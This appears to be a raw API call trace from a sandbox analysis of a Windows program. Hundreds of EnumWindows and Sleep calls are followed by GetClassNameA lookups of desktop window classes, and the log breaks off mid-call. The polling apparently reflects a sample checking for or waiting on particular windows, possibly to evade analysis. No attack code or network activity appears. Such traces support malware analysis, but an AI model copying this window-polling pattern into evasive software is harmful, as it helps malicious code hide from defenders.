[0237.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.734] Sleep (dwMilliseconds=0x64) [0237.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.736] Sleep (dwMilliseconds=0x64) [0237.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.739] Sleep (dwMilliseconds=0x64) [0237.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.740] Sleep (dwMilliseconds=0x64) [0237.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.742] Sleep (dwMilliseconds=0x64) [0237.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.744] Sleep (dwMilliseconds=0x64) [0237.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.746] Sleep (dwMilliseconds=0x64) [0237.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.748] Sleep (dwMilliseconds=0x64) [0237.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.751] Sleep (dwMilliseconds=0x64) [0237.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.752] Sleep (dwMilliseconds=0x64) [0237.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.754] Sleep (dwMilliseconds=0x64) [0237.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.755] Sleep (dwMilliseconds=0x64) [0237.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.757] Sleep (dwMilliseconds=0x64) [0237.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.760] Sleep (dwMilliseconds=0x64) [0237.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.762] Sleep (dwMilliseconds=0x64) [0237.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.763] Sleep (dwMilliseconds=0x64) [0237.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.765] Sleep (dwMilliseconds=0x64) [0237.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.767] Sleep (dwMilliseconds=0x64) [0237.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.768] Sleep (dwMilliseconds=0x64) [0237.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.770] Sleep (dwMilliseconds=0x64) [0237.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.772] Sleep (dwMilliseconds=0x64) [0237.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.773] Sleep (dwMilliseconds=0x64) [0237.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.776] Sleep (dwMilliseconds=0x64) [0237.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.778] Sleep (dwMilliseconds=0x64) [0237.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.780] Sleep (dwMilliseconds=0x64) [0237.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.782] Sleep (dwMilliseconds=0x64) [0237.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.784] Sleep (dwMilliseconds=0x64) [0237.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.785] Sleep (dwMilliseconds=0x64) [0237.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.787] Sleep (dwMilliseconds=0x64) [0237.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.789] Sleep (dwMilliseconds=0x64) [0237.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.791] Sleep (dwMilliseconds=0x64) [0237.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.792] Sleep (dwMilliseconds=0x64) [0237.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.794] Sleep (dwMilliseconds=0x64) [0237.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.798] Sleep (dwMilliseconds=0x64) [0237.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.799] Sleep (dwMilliseconds=0x64) [0237.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.801] Sleep (dwMilliseconds=0x64) [0237.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.803] Sleep (dwMilliseconds=0x64) [0237.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.805] Sleep (dwMilliseconds=0x64) [0237.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.807] Sleep (dwMilliseconds=0x64) [0237.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.809] Sleep (dwMilliseconds=0x64) [0237.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.811] Sleep (dwMilliseconds=0x64) [0237.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.812] Sleep (dwMilliseconds=0x64) [0237.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.814] Sleep (dwMilliseconds=0x64) [0237.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.815] Sleep (dwMilliseconds=0x64) [0237.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.817] Sleep (dwMilliseconds=0x64) [0237.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.818] Sleep (dwMilliseconds=0x64) [0237.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.820] Sleep (dwMilliseconds=0x64) [0237.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.822] Sleep (dwMilliseconds=0x64) [0237.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.823] Sleep (dwMilliseconds=0x64) [0237.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.825] Sleep (dwMilliseconds=0x64) [0237.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.827] Sleep (dwMilliseconds=0x64) [0237.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.829] Sleep (dwMilliseconds=0x64) [0237.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.839] Sleep (dwMilliseconds=0x64) [0237.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.841] Sleep (dwMilliseconds=0x64) [0237.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.842] Sleep (dwMilliseconds=0x64) [0237.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.845] Sleep (dwMilliseconds=0x64) [0237.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.848] Sleep (dwMilliseconds=0x64) [0237.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.850] Sleep (dwMilliseconds=0x64) [0237.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.859] Sleep (dwMilliseconds=0x64) [0237.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.868] Sleep (dwMilliseconds=0x64) [0237.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.870] Sleep (dwMilliseconds=0x64) [0237.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.872] Sleep (dwMilliseconds=0x64) [0237.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.878] Sleep (dwMilliseconds=0x64) [0237.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.880] Sleep (dwMilliseconds=0x64) [0237.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.881] Sleep (dwMilliseconds=0x64) [0237.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.883] Sleep (dwMilliseconds=0x64) [0237.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.885] Sleep (dwMilliseconds=0x64) [0237.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.887] Sleep (dwMilliseconds=0x64) [0237.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.889] Sleep (dwMilliseconds=0x64) [0237.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.891] Sleep (dwMilliseconds=0x64) [0237.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.892] Sleep (dwMilliseconds=0x64) [0237.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.894] Sleep (dwMilliseconds=0x64) [0237.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.896] Sleep (dwMilliseconds=0x64) [0237.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.897] Sleep (dwMilliseconds=0x64) [0237.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.899] Sleep (dwMilliseconds=0x64) [0237.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.901] Sleep (dwMilliseconds=0x64) [0237.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.903] Sleep (dwMilliseconds=0x64) [0237.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.905] Sleep (dwMilliseconds=0x64) [0237.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.906] Sleep (dwMilliseconds=0x64) [0237.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.908] Sleep (dwMilliseconds=0x64) [0237.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.910] Sleep (dwMilliseconds=0x64) [0237.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.912] Sleep (dwMilliseconds=0x64) [0237.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.914] Sleep (dwMilliseconds=0x64) [0237.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.917] Sleep (dwMilliseconds=0x64) [0237.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.919] Sleep (dwMilliseconds=0x64) [0237.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.921] Sleep (dwMilliseconds=0x64) [0237.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.923] Sleep (dwMilliseconds=0x64) [0237.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.924] Sleep (dwMilliseconds=0x64) [0237.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.926] Sleep (dwMilliseconds=0x64) [0237.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.928] Sleep (dwMilliseconds=0x64) [0237.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.929] Sleep (dwMilliseconds=0x64) [0237.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.931] Sleep (dwMilliseconds=0x64) [0237.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.932] Sleep (dwMilliseconds=0x64) [0237.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.934] Sleep (dwMilliseconds=0x64) [0237.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.936] Sleep (dwMilliseconds=0x64) [0237.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.937] Sleep (dwMilliseconds=0x64) [0237.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.939] Sleep (dwMilliseconds=0x64) [0237.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.941] Sleep (dwMilliseconds=0x64) [0237.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.943] Sleep (dwMilliseconds=0x64) [0237.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.945] Sleep (dwMilliseconds=0x64) [0237.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.946] Sleep (dwMilliseconds=0x64) [0237.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.948] Sleep (dwMilliseconds=0x64) [0237.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.949] Sleep (dwMilliseconds=0x64) [0237.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.951] Sleep (dwMilliseconds=0x64) [0237.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.954] Sleep (dwMilliseconds=0x64) [0237.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.956] Sleep (dwMilliseconds=0x64) [0237.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.961] Sleep (dwMilliseconds=0x64) [0237.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.963] Sleep (dwMilliseconds=0x64) [0237.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.965] Sleep (dwMilliseconds=0x64) [0237.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.966] Sleep (dwMilliseconds=0x64) [0237.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.968] Sleep (dwMilliseconds=0x64) [0237.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.970] Sleep (dwMilliseconds=0x64) [0237.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.971] Sleep (dwMilliseconds=0x64) [0237.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.973] Sleep (dwMilliseconds=0x64) [0237.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.975] Sleep (dwMilliseconds=0x64) [0237.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.977] Sleep (dwMilliseconds=0x64) [0237.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.978] Sleep (dwMilliseconds=0x64) [0237.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.980] Sleep (dwMilliseconds=0x64) [0237.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.982] Sleep (dwMilliseconds=0x64) [0237.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.983] Sleep (dwMilliseconds=0x64) [0237.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.985] Sleep (dwMilliseconds=0x64) [0237.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.987] Sleep (dwMilliseconds=0x64) [0237.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.989] Sleep (dwMilliseconds=0x64) [0237.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.991] Sleep (dwMilliseconds=0x64) [0237.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.992] Sleep (dwMilliseconds=0x64) [0237.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.994] Sleep (dwMilliseconds=0x64) [0237.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.996] Sleep (dwMilliseconds=0x64) [0237.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.998] Sleep (dwMilliseconds=0x64) [0237.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.000] Sleep (dwMilliseconds=0x64) [0238.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.003] Sleep (dwMilliseconds=0x64) [0238.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.004] Sleep (dwMilliseconds=0x64) [0238.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.007] Sleep (dwMilliseconds=0x64) [0238.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.010] Sleep (dwMilliseconds=0x64) [0238.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.012] Sleep (dwMilliseconds=0x64) [0238.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.014] Sleep (dwMilliseconds=0x64) [0238.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.146] Sleep (dwMilliseconds=0x64) [0238.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.147] Sleep (dwMilliseconds=0x64) [0238.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.150] Sleep (dwMilliseconds=0x64) [0238.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.151] Sleep (dwMilliseconds=0x64) [0238.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.153] Sleep (dwMilliseconds=0x64) [0238.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.155] Sleep (dwMilliseconds=0x64) [0238.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.157] Sleep (dwMilliseconds=0x64) [0238.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.158] Sleep (dwMilliseconds=0x64) [0238.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.160] Sleep (dwMilliseconds=0x64) [0238.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.162] Sleep (dwMilliseconds=0x64) [0238.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.164] Sleep (dwMilliseconds=0x64) [0238.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.165] Sleep (dwMilliseconds=0x64) [0238.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.167] Sleep (dwMilliseconds=0x64) [0238.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.169] Sleep (dwMilliseconds=0x64) [0238.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.171] Sleep (dwMilliseconds=0x64) [0238.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.172] Sleep (dwMilliseconds=0x64) [0238.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.174] Sleep (dwMilliseconds=0x64) [0238.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.176] Sleep (dwMilliseconds=0x64) [0238.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.179] Sleep (dwMilliseconds=0x64) [0238.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.181] Sleep (dwMilliseconds=0x64) [0238.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.183] Sleep (dwMilliseconds=0x64) [0238.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.185] Sleep (dwMilliseconds=0x64) [0238.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.187] Sleep (dwMilliseconds=0x64) [0238.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.189] Sleep (dwMilliseconds=0x64) [0238.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.191] Sleep (dwMilliseconds=0x64) [0238.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.195] Sleep (dwMilliseconds=0x64) [0238.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.197] Sleep (dwMilliseconds=0x64) [0238.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.199] Sleep (dwMilliseconds=0x64) [0238.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.202] Sleep (dwMilliseconds=0x64) [0238.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.203] Sleep (dwMilliseconds=0x64) [0238.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.225] Sleep (dwMilliseconds=0x64) [0238.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.228] Sleep (dwMilliseconds=0x64) [0238.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.230] Sleep (dwMilliseconds=0x64) [0238.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.232] Sleep (dwMilliseconds=0x64) [0238.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.233] Sleep (dwMilliseconds=0x64) [0238.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.235] Sleep (dwMilliseconds=0x64) [0238.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.238] Sleep (dwMilliseconds=0x64) [0238.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.240] Sleep (dwMilliseconds=0x64) [0238.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.241] Sleep (dwMilliseconds=0x64) [0238.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.243] Sleep (dwMilliseconds=0x64) [0238.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.245] Sleep (dwMilliseconds=0x64) [0238.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.246] Sleep (dwMilliseconds=0x64) [0238.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.248] Sleep (dwMilliseconds=0x64) [0238.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.250] Sleep (dwMilliseconds=0x64) [0238.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.252] Sleep (dwMilliseconds=0x64) [0238.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.254] Sleep (dwMilliseconds=0x64) [0238.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.256] Sleep (dwMilliseconds=0x64) [0238.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.258] Sleep (dwMilliseconds=0x64) [0238.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.259] Sleep (dwMilliseconds=0x64) [0238.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.261] Sleep (dwMilliseconds=0x64) [0238.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.262] Sleep (dwMilliseconds=0x64) [0238.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.264] Sleep (dwMilliseconds=0x64) [0238.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.265] Sleep (dwMilliseconds=0x64) [0238.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.267] Sleep (dwMilliseconds=0x64) [0238.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.269] Sleep (dwMilliseconds=0x64) [0238.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.270] Sleep (dwMilliseconds=0x64) [0238.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.272] Sleep (dwMilliseconds=0x64) [0238.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.273] Sleep (dwMilliseconds=0x64) [0238.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.276] Sleep (dwMilliseconds=0x64) [0238.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.278] Sleep (dwMilliseconds=0x64) [0238.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.279] Sleep (dwMilliseconds=0x64) [0238.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.281] Sleep (dwMilliseconds=0x64) [0238.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.282] Sleep (dwMilliseconds=0x64) [0238.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.284] Sleep (dwMilliseconds=0x64) [0238.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.286] Sleep (dwMilliseconds=0x64) [0238.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.288] Sleep (dwMilliseconds=0x64) [0238.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) returned 1 [0238.290] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0238.290] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0238.290] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0238.290] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.290] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.290] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.328] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.328] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.328] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0238.328] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.328] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.328] GetClassNameA (in: hWnd=0x10176, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0238.329] GetClassNameA (in: hWnd=0x10168, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0238.329] GetClassNameA (in: hWnd=0x10158, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0238.329] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.329] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0238.329] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0238.329] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0238.329] GetClassNameA (in: hWnd=0x10184, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0238.329] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0238.329] GetClassNameA (in: hWnd=0x100c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0238.329] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.329] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.329] GetClassNameA (in: hWnd=0x100a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.329] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.329] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.329] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.330] GetClassNameA (in: hWnd=0x10084, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.330] GetClassNameA (in: hWnd=0x10090, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.330] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.330] GetClassNameA (in: hWnd=0x20078, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0238.330] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0238.330] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.330] GetClassNameA (in: 